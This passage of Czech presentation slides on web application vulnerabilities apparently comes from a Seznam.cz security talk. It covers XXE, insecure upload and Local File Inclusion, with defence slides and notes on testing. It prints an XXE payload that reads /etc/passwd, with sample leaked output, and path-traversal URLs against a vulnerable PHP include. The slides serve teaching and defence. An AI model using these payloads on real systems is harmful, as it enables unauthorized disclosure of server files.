  • 33. XML External Entity (XXE) Externí entity v XML <?xml version="1.0"?> <!DOCTYPE contacts [ <!ENTITY note SYSTEM "./note/novotny.txt "> ]> <contacts> <contact> <login>karel</login> <name>Karel Novotný</name> <note>&note;</note> <contacts> </contact> <contact> </contacts> <login>karel</login> <name>Karel Novotný</name> <note>Textová poznámka ze souboru</note> </contact> </contacts> Zranitelnosti webových aplikací
  • 34. XML External Entity (XXE) Attack: Local File Disclusion <?xml version="1.0"?> <!DOCTYPE contacts [ <!ENTITY note SYSTEM „/etc/passwd"> ]> <contacts> <contact> <login>karel</login> <name>Karel Novotný</name> <note>&note;</note> </contact> </contacts> <contacts> <contact> <login>karel</login> <name>Karel Novotný</name> <note> root:!:0:0::/:/usr/bin/ksh daemon:!:1:1::/etc: bin:!:2:2::/bin: sys:!:3:3::/usr/sys: adm:!:4:4::/var/adm: uucp:!:5:5::/usr/lib/uucp: guest:!:100:100::/home/guest: lp:*:11:11::/var/spool/lp:/bin/false nuucp:*:6:5:uucp login Doe:/home/jdoe:/usr/bin/ksh </note> </contact> </contacts> Zranitelnosti webových aplikací
  • 35. Bezpečnostní hrozby Síťové prvky, servery VPN, Remote desktop Webové aplikace Útoky proti uživatelům Sociotechnika DoS, DDoS Útoky proti aplikaci CSRF SQL injection Clickjacking Forced browsing XSS XML External Entity CRLF injection Nezabezpečený upload Local File Include Zranitelnosti webových aplikací Wi-Fi
  • 36. Nezabezpečený upload - Upload serverového skriptu a jeho spuštění může vést k ovládnutí serveru - Zneužití důvěryhodné domény k uploadu souborů sloužících k infikování počítačů konečných uživatelů OBRANA - Kontrolovat typ a strukturu uploadovaných dat - Konvertovat obrázky - Ošetřit bílé znaky a znaky pro procházení adresářů v názvu uploadovaného souboru (použít nový název) - Zakázat spouštění skriptů v adresářích pro upload Zranitelnosti webových aplikací
  • 37. Bezpečnostní hrozby Síťové prvky, servery VPN, Remote desktop Webové aplikace Útoky proti uživatelům Sociotechnika DoS, DDoS Útoky proti aplikaci CSRF SQL injection Clickjacking Forced browsing XSS XML External Entity CRLF injection Nezabezpečený upload Local File Include Zranitelnosti webových aplikací Wi-Fi
  • 38. Local File Inclusion (disclosure) - Možnost zobrazení nebo spuštění serverového skriptu - Script lze na server dostat: - Uploadem souboru Uploadem nakaženého obrázku Přes cookies a session proměnné Enviroment (proc/self/environ) Zneužitím logů (var/www/logs/access_log, apd.) Zranitelnosti webových aplikací
  • 39. Local File Inclusion (disclosure) GET: webmail.cz?action=view.php $page = $_GET[“action“]; Include($page); webmail.cz?action=../../../../etc/passwd webmail.cz?action=../images/foto.jpg Zranitelnosti webových aplikací
  • 40. Local File Inclusion (disclosure) OBRANA - Vhodně nastavený webový server - Neincludovat soubory na základě proměnné obdržené od uživatele - Ošetřit výskyt sekvence ../ Zranitelnosti webových aplikací
  • 41. Bezpečnostní hrozby Síťové prvky, servery VPN, Remote desktop Webové aplikace DoS, DDoS Útoky proti uživatelům Sociotechnika Útoky proti aplikaci CSRF SQL injection Clickjacking Forced browsing XSS XML External Entity CRLF injection Nezabezpečený upload Local File Include Webmail použitý v ukázkách je dostupný na adrese http://webmail.hackingvpraxi.cz Zranitelnosti webových aplikací Wi-Fi
  • 43. Automatické testování - Klady - Rychlost Odstraňují opakující se úkony (../ ../../ ../../../ ../../../../) Hledání konfiguračních souborů Fuzzing apd. - Zápory - Nelze se na ně plně spolehnout Mnoho „false positive“ hlášení Nedokáží odhalit reakce projevující se na jiných místech Při důkladných testech se nelze manuálním testům vyhnout Zranitelnosti webových aplikací
  • 44. Manuální testování - Klady - Důkladná analýza výstupu umožní lépe přizpůsobit následné testy Je možné odhalit i reakce projevující se na jiných místech aplikace - Zápory - Pentester je také jen člověk a může něco přehlédnout Opakující se činnosti jsou časově náročné a vyčerpávající Zranitelnosti webových aplikací
  • 45. Jak zajišťujeme bezpečnost aplikací v Seznam.cz Zranitelnosti webových aplikací
  • 46. Jak zajišťujeme bezpečnost aplikací v Seznam.cz - Vzděláváním vývojářů Penetračním testováním betaverzí Průběžnou kontrolou ostrých verzí Vulnerability scanner (Acunetix) Neodsuzujeme white hat hacking (BugTrack na SOOM.cz) Zranitelnosti webových aplikací
  • 48. Děkuji za pozornost Zranitelnosti webových aplikací